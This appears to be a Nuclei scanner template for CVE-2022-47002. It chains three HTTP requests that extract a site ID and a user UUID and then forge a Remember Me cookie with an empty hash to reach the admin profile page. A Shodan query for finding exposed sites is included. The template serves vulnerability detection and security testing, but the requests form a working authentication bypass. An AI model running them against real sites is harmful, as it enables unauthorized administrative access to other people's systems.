72 lines
1.9 KiB
YAML
72 lines
1.9 KiB
YAML
id: CVE-2022-47002
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info:
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name: Masa CMS - Authentication Bypass
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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reference:
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- https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
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- https://github.com/MasaCMS/MasaCMS/releases/tag/7.3.10
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- https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html
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- https://nvd.nist.gov/vuln/detail/CVE-2022-47002
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-47002
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cwe-id: CWE-863
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metadata:
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shodan-query: 'Generator: Masa CMS'
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verified: "true"
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tags: cve,cve2022,auth-bypass,cms,masa
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requests:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
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Host: {{Hostname}}
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Cookie: userid={{uuid}}; userhash=
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redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: dsl
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condition: and
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dsl:
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- 'contains(body_3,"\"userid\"")'
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- type: word
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part: body_3
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words:
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- "Edit Profile"
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extractors:
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- type: regex
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part: body
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name: siteid
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group: 1
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internal: true
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regex:
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- 'siteid:"(.*?)"'
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- type: regex
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part: body
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name: uuid
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group: 1
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internal: true
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regex:
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- '"lastupdatebyid":"([A-F0-9-]+)"'
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# Enhanced by md on 2023/04/10
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